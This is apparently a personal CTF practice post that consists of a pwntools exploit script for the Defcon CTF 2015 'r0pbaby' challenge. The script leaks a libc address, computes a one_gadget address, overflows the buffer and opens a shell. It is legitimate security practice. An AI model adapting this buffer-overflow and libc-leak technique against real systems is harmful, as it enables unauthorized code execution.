System/Pwnable Practice
Defcon CTF 2015 r0pbaby
JeonYoungSin
2019. 7. 28. 22:13
exploit.py
from pwn import *
p = process('./ropbaby')
e = ELF('./ropbaby')
libc = e.libc
pop_rdi_offset = 0x000000000002155f
gets_offset = libc.symbols['gets']
one_offset = [0x4f2c5, 0x4f322, 0x10a38c]
p.sendlineafter(': ', '2')
p.sendlineafter(': ', 'gets')
gets_addr = int(p.recvline().split(' ')[2], 16)
libc_base = gets_addr - gets_offset
one_addr = libc_base + one_offset[0]
payload = 'A' * 8
payload += p64(one_addr)
p.sendlineafter(': ', '3')
p.sendlineafter(': ', str(len(payload)+1))
p.sendline(payload)
p.sendlineafter(': ', '4')
p.interactive()